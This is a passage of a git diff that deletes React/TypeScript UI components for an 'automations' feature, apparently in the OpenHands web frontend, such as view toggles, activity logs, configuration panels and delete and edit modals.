expect(wrapper).toHaveClass("max-w-full"); - expect(wrapper.querySelector("table")).not.toBeNull(); - expect(container.querySelector(".overflow-x-auto")).not.toBeNull(); - }); - - it("should round corners on the table element", () => { - render({GFM_TABLE}); - - const table = screen.getByRole("table"); - expect(table).toHaveClass("rounded-xl"); - expect(table).toHaveClass("overflow-hidden"); - - const wrapper = screen.getByTestId("markdown-table-scroll"); - expect(wrapper).not.toHaveClass("rounded-xl"); - - expect( - screen.getByTestId("markdown-table-scroll-fade-left"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("markdown-table-scroll-fade-right"), - ).toBeInTheDocument(); - }); - - it("should let wide tables grow beyond the chat column instead of squishing columns", () => { - render({GFM_TABLE}); - - const table = screen.getByRole("table"); - expect(table).toHaveClass("w-max"); - expect(table).toHaveClass("min-w-full"); - expect(table).not.toHaveClass("w-full"); - }); - - it("should render header cells as { - if (event.key === "Enter") { - handleRowClick(); - } - }} - tabIndex={0} - className={cn(automationListRowClassName, "cursor-pointer")} - > - - - - - ); -} diff --git a/src/components/features/automations/automation-view-mode.ts b/src/components/features/automations/automation-view-mode.ts deleted file mode 100644 index bdb4c3bba..000000000 --- a/src/components/features/automations/automation-view-mode.ts +++ /dev/null @@ -1,22 +0,0 @@ -export type AutomationViewMode = "grid" | "list"; - -export const AUTOMATIONS_VIEW_MODE_STORAGE_KEY = "openhands-automations-view"; - -export function readStoredAutomationViewMode(): AutomationViewMode { - if (typeof window === "undefined") { - return "grid"; - } - - const stored = window.localStorage.getItem(AUTOMATIONS_VIEW_MODE_STORAGE_KEY); - return stored === "list" ? "list" : "grid"; -} - -export function writeStoredAutomationViewMode(view: AutomationViewMode): void { - window.localStorage.setItem(AUTOMATIONS_VIEW_MODE_STORAGE_KEY, view); -} - -export { - tableContainerClassName as automationListTableClassName, - tableRowInteractiveClassName as automationListRowClassName, - tableCellClassName as automationListCellClassName, -} from "#/utils/table-row-classes"; diff --git a/src/components/features/automations/automation-view-toggle.tsx b/src/components/features/automations/automation-view-toggle.tsx deleted file mode 100644 index e914c9c1c..000000000 --- a/src/components/features/automations/automation-view-toggle.tsx +++ /dev/null @@ -1,161 +0,0 @@ -import { useEffect, useLayoutEffect, useRef, useState } from "react"; -import ReactDOM from "react-dom"; -import { Grid2x2, Rows3 } from "lucide-react"; -import { useTranslation } from "react-i18next"; -import { ContextMenuListItem } from "#/components/features/context-menu/context-menu-list-item"; -import { I18nKey } from "#/i18n/declaration"; -import { ContextMenu } from "#/ui/context-menu"; -import { cn } from "#/utils/utils"; -import type { AutomationViewMode } from "./automation-view-mode"; -import { ViewMenuItemContent } from "./view-menu-item-content"; - -interface AutomationViewToggleProps { - view: AutomationViewMode; - onChange: (view: AutomationViewMode) => void; - disabled?: boolean; -} - -const VIEW_OPTIONS: { - value: AutomationViewMode; - icon: typeof Grid2x2; - labelKey: I18nKey; - testId: string; -}[] = [ - { - value: "grid", - icon: Grid2x2, - labelKey: I18nKey.AUTOMATIONS$VIEW_GRID, - testId: "automations-view-toggle-grid", - }, - { - value: "list", - icon: Rows3, - labelKey: I18nKey.AUTOMATIONS$VIEW_LIST, - testId: "automations-view-toggle-list", - }, -]; - -export function AutomationViewToggle({ - view, - onChange, - disabled = false, -}: AutomationViewToggleProps) { - const { t } = useTranslation("openhands"); - const [open, setOpen] = useState(false); - const [portalStyle, setPortalStyle] = useState(); - const triggerRef = useRef(null); - const menuRef = useRef(null); - - const activeOption = - VIEW_OPTIONS.find((option) => option.value === view) ?? VIEW_OPTIONS[0]!; - const ActiveIcon = activeOption.icon; - - useLayoutEffect(() => { - if (!open || !triggerRef.current) return undefined; - - const updatePosition = () => { - const rect = triggerRef.current?.getBoundingClientRect(); - if (!rect) return; - - const gap = 4; - setPortalStyle({ - position: "fixed", - zIndex: 9999, - top: rect.bottom + gap, - right: window.innerWidth - rect.right, - }); - }; - - updatePosition(); - window.addEventListener("resize", updatePosition); - window.addEventListener("scroll", updatePosition, true); - return () => { - window.removeEventListener("resize", updatePosition); - window.removeEventListener("scroll", updatePosition, true); - }; - }, [open]); - - useEffect(() => { - if (!open) return undefined; - - const handleClickOutside = (event: MouseEvent) => { - const target = event.target as Node; - if ( - triggerRef.current?.contains(target) || - menuRef.current?.contains(target) - ) { - return; - } - setOpen(false); - }; - - const handleEscape = (event: KeyboardEvent) => { - if (event.key === "Escape") { - setOpen(false); - } - }; - - document.addEventListener("mousedown", handleClickOutside); - document.addEventListener("keydown", handleEscape); - return () => { - document.removeEventListener("mousedown", handleClickOutside); - document.removeEventListener("keydown", handleEscape); - }; - }, [open]); - - const menu = - open && portalStyle ? ( - - {VIEW_OPTIONS.map((option) => ( -
  • - { - onChange(option.value); - setOpen(false); - }} - className="group" - > - - -
  • - ))} -
    - ) : null; - - return ( - <> - - - {open && portalStyle && typeof document !== "undefined" - ? ReactDOM.createPortal( -
    {menu}
    , - document.body, - ) - : null} - - ); -} diff --git a/src/components/features/automations/backend-not-configured.tsx b/src/components/features/automations/backend-not-configured.tsx deleted file mode 100644 index 56a40c546..000000000 --- a/src/components/features/automations/backend-not-configured.tsx +++ /dev/null @@ -1,35 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import ExclamationCircleIcon from "#/icons/exclamation-circle.svg?react"; -import { BrandButton } from "#/components/features/settings/brand-button"; - -interface BackendUnavailableProps { - onRetry: () => void; -} - -export function BackendUnavailable({ onRetry }: BackendUnavailableProps) { - const { t } = useTranslation("openhands"); - - return ( -
    - -

    - {t(I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_TITLE)} -

    -

    - {t(I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_MESSAGE)} -

    - - {t(I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_RETRY)} - -
    - ); -} - -// Keep old export name for backward compatibility -export { BackendUnavailable as BackendNotConfigured }; diff --git a/src/components/features/automations/build-automation-menu-items.tsx b/src/components/features/automations/build-automation-menu-items.tsx deleted file mode 100644 index 9401a239c..000000000 --- a/src/components/features/automations/build-automation-menu-items.tsx +++ /dev/null @@ -1,82 +0,0 @@ -import { Download, FileText } from "lucide-react"; -import PlayIcon from "#/icons/play.svg?react"; -import PowerIcon from "#/icons/power.svg?react"; -import TrashIcon from "#/icons/trash.svg?react"; -import EditIcon from "#/icons/u-edit.svg?react"; -import { I18nKey } from "#/i18n/declaration"; -import type { Automation } from "#/types/automation"; -import type { KebabMenuItem } from "./kebab-menu"; - -interface BuildAutomationMenuItemsOptions { - automation: Automation; - t: (key: I18nKey) => string; - canManage: boolean; - onRunNow: (id: string) => void; - isRunPending: boolean; - onView: () => void; - onExport: (automation: Automation) => void; - onEdit?: (id: string) => void; - onToggle: (id: string, enabled: boolean) => void; - onDelete: (id: string) => void; -} - -export function buildAutomationMenuItems({ - automation, - t, - canManage, - onRunNow, - isRunPending, - onView, - onExport, - onEdit, - onToggle, - onDelete, -}: BuildAutomationMenuItemsOptions): KebabMenuItem[] { - return [ - ...(canManage - ? [ - { - label: t(I18nKey.AUTOMATIONS$RUN_NOW), - icon: , - onClick: () => onRunNow(automation.id), - disabled: isRunPending || !automation.enabled, - }, - ] - : []), - { - label: t(I18nKey.COMMON$VIEW), - icon: , - onClick: onView, - }, - { - label: t(I18nKey.AUTOMATIONS$EXPORT), - icon: , - onClick: () => onExport(automation), - }, - ...(canManage && onEdit - ? [ - { - label: t(I18nKey.AUTOMATIONS$EDIT), - icon: , - onClick: () => onEdit(automation.id), - }, - ] - : []), - ...(canManage - ? [ - { - label: automation.enabled - ? t(I18nKey.AUTOMATIONS$TURN_OFF) - : t(I18nKey.AUTOMATIONS$TURN_ON), - icon: , - onClick: () => onToggle(automation.id, automation.enabled), - }, - { - label: t(I18nKey.AUTOMATIONS$DELETE), - icon: , - onClick: () => onDelete(automation.id), - }, - ] - : []), - ]; -} diff --git a/src/components/features/automations/build-automation-pills.tsx b/src/components/features/automations/build-automation-pills.tsx deleted file mode 100644 index 246bb04ab..000000000 --- a/src/components/features/automations/build-automation-pills.tsx +++ /dev/null @@ -1,71 +0,0 @@ -import FolderIcon from "#/icons/folder.svg?react"; -import ClockIcon from "#/icons/clock.svg?react"; -import SparkleIcon from "#/icons/sparkle.svg?react"; -import GlobeIcon from "#/icons/globe.svg?react"; -import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row"; -import type { Automation } from "#/types/automation"; -import { cn } from "#/utils/utils"; -import { extensionModuleCardPillClassName } from "#/utils/extension-module-card-classes"; -import { formatEventOn } from "#/utils/automation-schedule"; - -export function buildAutomationMetadataPills( - automation: Automation, - scheduleLabel: string, -): SkillCardPill[] { - const pills: SkillCardPill[] = []; - - if (automation.repository) { - pills.push({ - id: "repository", - node: ( - - - {automation.repository} - - ), - }); - } - - if (automation.trigger.type === "event") { - const eventLabel = [ - automation.trigger.on ? formatEventOn(automation.trigger.on) : "", - automation.trigger.source ? `(${automation.trigger.source})` : "", - ] - .filter(Boolean) - .join(" "); - - pills.push({ - id: "event-trigger", - node: ( - - - {eventLabel} - - ), - }); - } else { - pills.push({ - id: "schedule", - node: ( - - - {scheduleLabel} - - ), - }); - } - - if (automation.model) { - pills.push({ - id: "model", - node: ( - - - {automation.model} - - ), - }); - } - - return pills; -} diff --git a/src/components/features/automations/create-instructions.tsx b/src/components/features/automations/create-instructions.tsx deleted file mode 100644 index 3433dc0cb..000000000 --- a/src/components/features/automations/create-instructions.tsx +++ /dev/null @@ -1,145 +0,0 @@ -import { useState, type ReactNode } from "react"; -import { Trans, useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import ChevronDownIcon from "#/icons/chevron-down.svg?react"; -import MessageSquareShareIcon from "#/icons/message-square-share.svg?react"; -import { cn } from "#/utils/utils"; -import { BrandButton } from "#/components/features/settings/brand-button"; -import { useLaunchSkillInChat } from "#/hooks/use-launch-skill-in-chat"; -import { useActiveBackend } from "#/contexts/active-backend-context"; -import { useTracking } from "#/hooks/use-tracking"; - -const DOCS_URL = - "https://docs.openhands.dev/openhands/usage/automations/overview"; - -function InlineExampleWrap({ children }: { children?: ReactNode }) { - return {children}; -} - -function InlineCodeChip({ children }: { children?: ReactNode }) { - return ( - - {children} - - ); -} - -function InlinePunctuation({ children }: { children?: ReactNode }) { - return <>{children}; -} - -const CREATE_INSTRUCTIONS_INLINE_COMPONENTS = { - example: , - cmd: , - punct: , -}; - -interface CreateInstructionsProps { - /** If true, the instructions are collapsible and start collapsed */ - collapsible?: boolean; -} - -interface CreateInstructionsContentProps { - onLaunch?: () => void; -} - -export function CreateInstructionsContent({ - onLaunch, -}: CreateInstructionsContentProps = {}) { - const { t } = useTranslation("openhands"); - const launchInChat = useLaunchSkillInChat(); - const active = useActiveBackend(); - const { trackAutomationCreatedButton } = useTracking(); - - const handleCreateAutomation = () => { - trackAutomationCreatedButton({ backendKind: active.backend.kind }); - launchInChat(t(I18nKey.AUTOMATIONS$CREATE_AUTOMATION_PROMPT), onLaunch); - }; - - return ( -
    -

    - {" "} - {t(I18nKey.AUTOMATIONS$CREATE_INSTRUCTIONS_GUIDANCE)} -

    - -
    - - {t(I18nKey.AUTOMATIONS$EMPTY_LEARN_MORE)} - - - } - > - {t(I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON)} - -
    -
    - ); -} - -export function CreateInstructions({ - collapsible = false, -}: CreateInstructionsProps) { - const { t } = useTranslation("openhands"); - const [isExpanded, setIsExpanded] = useState(!collapsible); - - if (collapsible) { - return ( -
    - - {isExpanded ? ( -
    - -
    - ) : null} -
    - ); - } - - return ( -
    -

    - {t(I18nKey.AUTOMATIONS$EMPTY_HOW_TO_CREATE_TITLE)} -

    -
    - -
    -
    - ); -} diff --git a/src/components/features/automations/delete-confirmation-modal.tsx b/src/components/features/automations/delete-confirmation-modal.tsx deleted file mode 100644 index eb642ea2b..000000000 --- a/src/components/features/automations/delete-confirmation-modal.tsx +++ /dev/null @@ -1,71 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import XMarkIcon from "#/icons/x-mark.svg?react"; -import { modalTitleLgMediumClassName } from "#/utils/modal-classes"; - -interface DeleteConfirmationModalProps { - automationName: string; - isOpen: boolean; - onConfirm: () => void; - onCancel: () => void; -} - -export function DeleteConfirmationModal({ - automationName, - isOpen, - onConfirm, - onCancel, -}: DeleteConfirmationModalProps) { - const { t } = useTranslation("openhands"); - - if (!isOpen) return null; - - return ( -
    -
    { - if (e.key === "Escape") onCancel(); - }} - role="presentation" - /> -
    - - -

    - {t(I18nKey.AUTOMATIONS$DELETE_CONFIRM_TITLE)} -

    -

    - {t(I18nKey.AUTOMATIONS$DELETE_CONFIRM_MESSAGE, { - name: automationName, - })} -

    - -
    - - -
    -
    -
    - ); -} diff --git a/src/components/features/automations/detail/active-status-badge.tsx b/src/components/features/automations/detail/active-status-badge.tsx deleted file mode 100644 index 1d7ebbb88..000000000 --- a/src/components/features/automations/detail/active-status-badge.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import { cn } from "#/utils/utils"; - -interface ActiveStatusBadgeProps { - active: boolean; -} - -export function ActiveStatusBadge({ active }: ActiveStatusBadgeProps) { - const { t } = useTranslation("openhands"); - - return ( - - {active - ? t(I18nKey.AUTOMATIONS$DETAIL$ACTIVE) - : t(I18nKey.AUTOMATIONS$DETAIL$INACTIVE)} - - ); -} diff --git a/src/components/features/automations/detail/activity-log-item.tsx b/src/components/features/automations/detail/activity-log-item.tsx deleted file mode 100644 index c56735389..000000000 --- a/src/components/features/automations/detail/activity-log-item.tsx +++ /dev/null @@ -1,140 +0,0 @@ -import { useState } from "react"; -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import TerminalIcon from "#/icons/terminal.svg?react"; -import { - AutomationRunStatus, - type Automation, - type AutomationRun, -} from "#/types/automation"; -import { RunStatusBadge } from "./run-status-badge"; -import { RunLogsModal } from "./run-logs-modal"; - -interface ActivityLogItemProps { - run: AutomationRun; - automation?: Automation; -} - -function formatRunTimestamp(dateStr: string, locale: string): string { - const date = new Date(dateStr); - return date.toLocaleDateString(locale, { - weekday: "long", - year: "numeric", - month: "long", - day: "numeric", - hour: "numeric", - minute: "2-digit", - }); -} - -function isInvalidTimestamp(dateStr: string | null | undefined): boolean { - if (!dateStr) return true; - const t = new Date(dateStr).getTime(); - return Number.isNaN(t) || t === 0; -} - -function getConversationUrl(conversationId: string): string { - // In agent-canvas, conversations are at /conversations/:id - return `/conversations/${conversationId}`; -} - -export function ActivityLogItem({ run, automation }: ActivityLogItemProps) { - const { t, i18n } = useTranslation("openhands"); - const hasConversation = !!run.conversation_id; - const hasBashCommand = !!run.bash_command_id; - // Only surface "Conversation not created" when the run has reached a - // terminal status without a conversation — i.e. the conversation truly - // will not be created (e.g. sandbox provisioning failed). While - // PENDING/RUNNING the conversation may still be in the process of being - // created, and the status badge already communicates the in-progress - // state. - const isTerminal = - run.status === AutomationRunStatus.COMPLETED || - run.status === AutomationRunStatus.FAILED; - const showNoConversationLabel = !hasConversation && isTerminal; - const [logsOpen, setLogsOpen] = useState(false); - // The backend leaves started_at unset (epoch/zero) while a run is Pending - // and only populates it once execution begins. Show the user's local time - // at first render in that window so the row doesn't read "Jan 1, 1970". - const [fallbackStartedAt] = useState(() => new Date().toISOString()); - const effectiveStartedAt = isInvalidTimestamp(run.started_at) - ? fallbackStartedAt - : run.started_at; - - const formattedTimestamp = formatRunTimestamp( - effectiveStartedAt, - i18n.language, - ); - - const handleLogsClick = ( - e: - | React.MouseEvent - | React.KeyboardEvent, - ) => { - // Stop the click bubbling up to the parent so the user stays on - // the automation detail page instead of navigating to the conversation. - e.stopPropagation(); - e.preventDefault(); - setLogsOpen(true); - }; - - const logsButton = hasBashCommand ? ( - - ) : null; - - const content = ( - <> -
    - {formattedTimestamp} - {showNoConversationLabel && ( - - ({t(I18nKey.AUTOMATIONS$DETAIL$NO_CONVERSATION)}) - - )} -
    -
    - {logsButton} - -
    - - ); - - return ( - <> - {hasConversation && run.conversation_id ? ( -
    - {content} - - ) : ( -
    - {content} -
    - )} - - {hasBashCommand && ( - setLogsOpen(false)} - run={run} - automation={automation} - /> - )} - - ); -} diff --git a/src/components/features/automations/detail/activity-log-section.tsx b/src/components/features/automations/detail/activity-log-section.tsx deleted file mode 100644 index 37712273e..000000000 --- a/src/components/features/automations/detail/activity-log-section.tsx +++ /dev/null @@ -1,83 +0,0 @@ -import { useState } from "react"; -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import { useAutomationRuns } from "#/hooks/query/use-automation-detail"; -import ActivityIcon from "#/icons/activity.svg?react"; -import { ActivityLogItem } from "./activity-log-item"; -import type { Automation } from "#/types/automation"; - -interface ActivityLogSectionProps { - automation: Automation; -} - -const PAGE_SIZE = 20; - -export function ActivityLogSection({ automation }: ActivityLogSectionProps) { - const { t } = useTranslation("openhands"); - const [limit, setLimit] = useState(PAGE_SIZE); - const { data, isLoading } = useAutomationRuns({ - id: automation.id, - limit, - offset: 0, - }); - - const hasMore = data ? data.total > data.runs.length : false; - - return ( -
    -
    - - - -

    - {t(I18nKey.AUTOMATIONS$DETAIL$ACTIVITY_LOG)} -

    -
    - - {isLoading && ( -
    - {Array.from({ length: 3 }).map((_, i) => ( -
    -
    -
    -
    - ))} -
    - )} - - {!isLoading && data?.runs.length === 0 && ( -

    - {t(I18nKey.AUTOMATIONS$DETAIL$NO_RUNS)} -

    - )} - - {!isLoading && data && data.runs.length > 0 && ( -
    - {data.runs.map((run, index) => ( -
    0 ? "border-t border-[var(--oh-border)]" : ""} - > - -
    - ))} - - {hasMore && ( -
    - -
    - )} -
    - )} -
    - ); -} diff --git a/src/components/features/automations/detail/activity-section.tsx b/src/components/features/automations/detail/activity-section.tsx deleted file mode 100644 index f4c63784c..000000000 --- a/src/components/features/automations/detail/activity-section.tsx +++ /dev/null @@ -1,77 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import ActivityIcon from "#/icons/activity.svg?react"; -import CalendarIcon from "#/icons/calendar.svg?react"; -import ClockIcon from "#/icons/clock.svg?react"; -import { SectionCard } from "./section-card"; -import { ConfigField } from "./config-field"; - -interface ActivitySectionProps { - createdAt: string; - lastRunAt: string | null | undefined; -} - -function formatDate(dateStr: string, locale: string): string { - const date = new Date(dateStr); - return date.toLocaleDateString(locale, { - year: "numeric", - month: "short", - day: "numeric", - }); -} - -function formatRelativeTime( - dateStr: string, - locale: string, - t: (key: I18nKey, options?: Record) => string, -): string { - const now = Date.now(); - const then = new Date(dateStr).getTime(); - const diffMs = now - then; - const diffMins = Math.floor(diffMs / 60_000); - const diffHours = Math.floor(diffMs / 3_600_000); - const diffDays = Math.floor(diffMs / 86_400_000); - - if (diffMins < 1) return t(I18nKey.AUTOMATIONS$DETAIL$TIME_JUST_NOW); - if (diffMins < 60) - return t(I18nKey.AUTOMATIONS$DETAIL$TIME_MINUTES_AGO, { count: diffMins }); - if (diffHours < 24) - return t(I18nKey.AUTOMATIONS$DETAIL$TIME_HOURS_AGO, { count: diffHours }); - if (diffDays === 1) return t(I18nKey.AUTOMATIONS$DETAIL$TIME_YESTERDAY); - if (diffDays < 7) - return t(I18nKey.AUTOMATIONS$DETAIL$TIME_DAYS_AGO, { count: diffDays }); - return formatDate(dateStr, locale); -} - -export function ActivitySection({ - createdAt, - lastRunAt, -}: ActivitySectionProps) { - const { t, i18n } = useTranslation("openhands"); - const locale = i18n.language; - - return ( - } - title={t(I18nKey.AUTOMATIONS$DETAIL$ACTIVITY)} - > -
    - } - label={t(I18nKey.AUTOMATIONS$DETAIL$CREATED)} - > - {formatDate(createdAt, locale)} - - - } - label={t(I18nKey.AUTOMATIONS$DETAIL$LAST_RUN)} - > - {lastRunAt - ? formatRelativeTime(lastRunAt, locale, t) - : t(I18nKey.AUTOMATIONS$DETAIL$TIME_NEVER)} - -
    -
    - ); -} diff --git a/src/components/features/automations/detail/back-link.tsx b/src/components/features/automations/detail/back-link.tsx deleted file mode 100644 index 43d24c2ed..000000000 --- a/src/components/features/automations/detail/back-link.tsx +++ /dev/null @@ -1,13 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import { BackNavButton } from "#/components/shared/buttons/back-nav-button"; - -export function BackLink() { - const { t } = useTranslation("openhands"); - - return ( - - {t(I18nKey.AUTOMATIONS$DETAIL$BACK_TO_LIST)} - - ); -} diff --git a/src/components/features/automations/detail/branch-badge.tsx b/src/components/features/automations/detail/branch-badge.tsx deleted file mode 100644 index 81ae76b52..000000000 --- a/src/components/features/automations/detail/branch-badge.tsx +++ /dev/null @@ -1,11 +0,0 @@ -interface BranchBadgeProps { - branch: string; -} - -export function BranchBadge({ branch }: BranchBadgeProps) { - return ( - - {branch} - - ); -} diff --git a/src/components/features/automations/detail/config-field.tsx b/src/components/features/automations/detail/config-field.tsx deleted file mode 100644 index 1f40edf64..000000000 --- a/src/components/features/automations/detail/config-field.tsx +++ /dev/null @@ -1,17 +0,0 @@ -interface ConfigFieldProps { - icon: React.ReactNode; - label: string; - children: React.ReactNode; -} - -export function ConfigField({ icon, label, children }: ConfigFieldProps) { - return ( -
    -
    - {icon} - {label} -
    -
    {children}
    -
    - ); -} diff --git a/src/components/features/automations/detail/configuration-section.tsx b/src/components/features/automations/detail/configuration-section.tsx deleted file mode 100644 index 9de89c908..000000000 --- a/src/components/features/automations/detail/configuration-section.tsx +++ /dev/null @@ -1,149 +0,0 @@ -import { useState } from "react"; -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import type { Automation } from "#/types/automation"; -import CogIcon from "#/icons/cog.svg?react"; -import GitBranchIcon from "#/icons/git-branch.svg?react"; -import CheckCircleIcon from "#/icons/check-circle.svg?react"; -import CalendarIcon from "#/icons/calendar.svg?react"; -import SparkleIcon from "#/icons/sparkle.svg?react"; -import BellIcon from "#/icons/bell.svg?react"; -import GlobeIcon from "#/icons/globe.svg?react"; -import CodeTagIcon from "#/icons/code-tag.svg?react"; -import LinkExternalIcon from "#/icons/link-external.svg?react"; -import { formatEventOn } from "#/utils/automation-schedule"; -import { SectionCard } from "./section-card"; -import { ConfigField } from "./config-field"; -import { BranchBadge } from "./branch-badge"; - -interface ConfigurationSectionProps { - automation: Automation; -} - -const FILTER_TRUNCATE_LENGTH = 60; - -function FilterExpression({ filter }: { filter: string }) { - const { t } = useTranslation("openhands"); - const [expanded, setExpanded] = useState(false); - const isLong = filter.length > FILTER_TRUNCATE_LENGTH; - - return ( -
    - - {isLong && !expanded - ? `${filter.slice(0, FILTER_TRUNCATE_LENGTH)}…` - : filter} - - {isLong && ( - - )} -
    - ); -} - -export function ConfigurationSection({ - automation, -}: ConfigurationSectionProps) { - const { t } = useTranslation("openhands"); - const isEvent = automation.trigger.type === "event"; - - let scheduleDisplay = automation.trigger.schedule ?? ""; - if (automation.trigger.schedule_human) { - scheduleDisplay = automation.timezone - ? `${automation.trigger.schedule_human} (${automation.timezone})` - : automation.trigger.schedule_human; - } - - const triggerDisplay = isEvent - ? t(I18nKey.AUTOMATIONS$DETAIL$TRIGGER_EVENT) - : t(I18nKey.AUTOMATIONS$DETAIL$TRIGGER_SCHEDULE); - - return ( - } - title={t(I18nKey.AUTOMATIONS$DETAIL$CONFIGURATION)} - > -
    - {automation.repository && ( - } - label={t(I18nKey.AUTOMATIONS$DETAIL$REPOSITORIES)} - > - - {automation.repository} - {automation.branch && } - - - )} - - } - label={t(I18nKey.AUTOMATIONS$DETAIL$TRIGGER)} - > - {triggerDisplay} - - - {!isEvent && ( - } - label={t(I18nKey.AUTOMATIONS$DETAIL$SCHEDULE)} - > - {scheduleDisplay} - - )} - - {isEvent && automation.trigger.source && ( - } - label={t(I18nKey.AUTOMATIONS$DETAIL$EVENT_SOURCE)} - > - {automation.trigger.source} - - )} - - {isEvent && automation.trigger.on && ( - } - label={t(I18nKey.AUTOMATIONS$DETAIL$EVENT_TYPE)} - > - {formatEventOn(automation.trigger.on)} - - )} - - {isEvent && automation.trigger.filter && ( - } - label={t(I18nKey.AUTOMATIONS$DETAIL$EVENT_FILTER)} - > - - - )} - - } - label={t(I18nKey.AUTOMATIONS$DETAIL$MODEL)} - > - {automation.model ?? t(I18nKey.COMMON$ACTIVE_PROFILE)} - - - {automation.notification && ( - } - label={t(I18nKey.AUTOMATIONS$DETAIL$NOTIFICATION)} - > - {automation.notification} - - )} -
    -
    - ); -} diff --git a/src/components/features/automations/detail/debug-automation-button.tsx b/src/components/features/automations/detail/debug-automation-button.tsx deleted file mode 100644 index f3c6248b1..000000000 --- a/src/components/features/automations/detail/debug-automation-button.tsx +++ /dev/null @@ -1,66 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import { BrandButton } from "#/components/features/settings/brand-button"; -import { useCreateConversation } from "#/hooks/mutation/use-create-conversation"; -import { useNavigation } from "#/context/navigation-context"; -import { buildAutomationDebugPrompt } from "#/utils/automation-debug-prompt"; -import type { Automation, AutomationRun } from "#/types/automation"; - -interface DebugAutomationButtonProps { - /** The failed run being debugged. */ - run: AutomationRun; - /** The parent automation, used to add context to the debug prompt. */ - automation?: Automation; - /** The run's stderr, already computed by the enclosing logs modal. */ - stderr: string; -} - -/** - * Starts a new OpenHands conversation seeded with the failed run's error - * details so the agent begins debugging immediately. Kept as its own component - * (rather than inlined into the logs modal) so `useCreateConversation` — which - * requires a QueryClientProvider — only mounts for failed runs. - */ -export function DebugAutomationButton({ - run, - automation, - stderr, -}: DebugAutomationButtonProps) { - const { t } = useTranslation("openhands"); - const { navigate } = useNavigation(); - const createConversation = useCreateConversation(); - - const handleClick = () => { - if (createConversation.isPending) return; - - const query = buildAutomationDebugPrompt({ - automationName: automation?.name, - automationPrompt: automation?.prompt, - errorDetail: run.error_detail, - stderr, - runId: run.id, - }); - - createConversation.mutate( - { query }, - { - onSuccess: (data) => { - navigate(`/conversations/${data.conversation_id}`); - }, - }, - ); - }; - - return ( - - {t(I18nKey.AUTOMATIONS$DETAIL$DEBUG_WITH_OPENHANDS)} - - ); -} diff --git a/src/components/features/automations/detail/detail-header.tsx b/src/components/features/automations/detail/detail-header.tsx deleted file mode 100644 index 1d85736b9..000000000 --- a/src/components/features/automations/detail/detail-header.tsx +++ /dev/null @@ -1,115 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import type { Automation } from "#/types/automation"; -import { ToggleSwitch } from "#/components/features/automations/toggle-switch"; -import { KebabMenu } from "#/components/features/automations/kebab-menu"; -import PowerIcon from "#/icons/power.svg?react"; -import DownloadIcon from "#/icons/download.svg?react"; -import TrashIcon from "#/icons/trash.svg?react"; -import EditIcon from "#/icons/u-edit.svg?react"; -import PlayIcon from "#/icons/play.svg?react"; -import { useHasPermission } from "#/hooks/use-has-permission"; -import { ActiveStatusBadge } from "./active-status-badge"; - -interface DetailHeaderProps { - automation: Automation; - onToggle: () => void; - /** - * When provided, the kebab menu shows an Edit entry. Omitted for cloud - * backends where the Edit feature is not supported in MVP. - */ - onEdit?: () => void; - onDelete: () => void; - onExport: () => void; - onDownloadTarball: () => void; - onRunNow?: () => void; - isRunningNow?: boolean; -} - -export function DetailHeader({ - automation, - onToggle, - onEdit, - onDelete, - onExport, - onDownloadTarball, - onRunNow, - isRunningNow = false, -}: DetailHeaderProps) { - const { t } = useTranslation("openhands"); - const canManage = useHasPermission("manage_automations"); - - const kebabItems = [ - ...(onEdit - ? [ - { - label: t(I18nKey.AUTOMATIONS$EDIT), - icon: , - onClick: onEdit, - }, - ] - : []), - { - label: automation.enabled - ? t(I18nKey.AUTOMATIONS$TURN_OFF) - : t(I18nKey.AUTOMATIONS$TURN_ON), - icon: , - onClick: onToggle, - }, - { - label: t(I18nKey.AUTOMATIONS$EXPORT), - icon: , - onClick: onExport, - }, - { - label: t(I18nKey.AUTOMATIONS$DOWNLOAD_TARBALL), - icon: , - onClick: onDownloadTarball, - }, - { - label: t(I18nKey.AUTOMATIONS$DELETE), - icon: , - onClick: onDelete, - }, - ]; - - return ( -
    -
    -
    -

    - {automation.name} -

    - -
    -
    - {canManage && onRunNow && ( - - )} - {canManage && ( - - )} - {canManage && } -
    -
    -
    - ); -} diff --git a/src/components/features/automations/detail/detail-skeleton.tsx b/src/components/features/automations/detail/detail-skeleton.tsx deleted file mode 100644 index 36f7b2f42..000000000 --- a/src/components/features/automations/detail/detail-skeleton.tsx +++ /dev/null @@ -1,30 +0,0 @@ -import { cn } from "#/utils/utils"; - -function SkeletonBlock({ className }: { className: string }) { - return ( -
    - ); -} - -export function DetailSkeleton() { - return ( -
    - -
    -
    - - -
    -
    - - -
    -
    - - - - - -
    - ); -} diff --git a/src/components/features/automations/detail/edit-automation-modal.tsx b/src/components/features/automations/detail/edit-automation-modal.tsx deleted file mode 100644 index 34940f1b5..000000000 --- a/src/components/features/automations/detail/edit-automation-modal.tsx +++ /dev/null @@ -1,499 +0,0 @@ -import { useEffect, useMemo, useState } from "react"; -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import type { Automation } from "#/types/automation"; -import { useUpdateAutomation } from "#/hooks/query/use-automations"; -import { useLlmProfiles } from "#/hooks/query/use-llm-profiles"; -import { SettingsInput } from "#/components/features/settings/settings-input"; -import { SettingsDropdownInput } from "#/components/features/settings/settings-dropdown-input"; -import { BrandButton } from "#/components/features/settings/brand-button"; -import { - displaySuccessToast, - displayErrorToast, -} from "#/utils/custom-toast-handlers"; -import { getApiErrorMessage } from 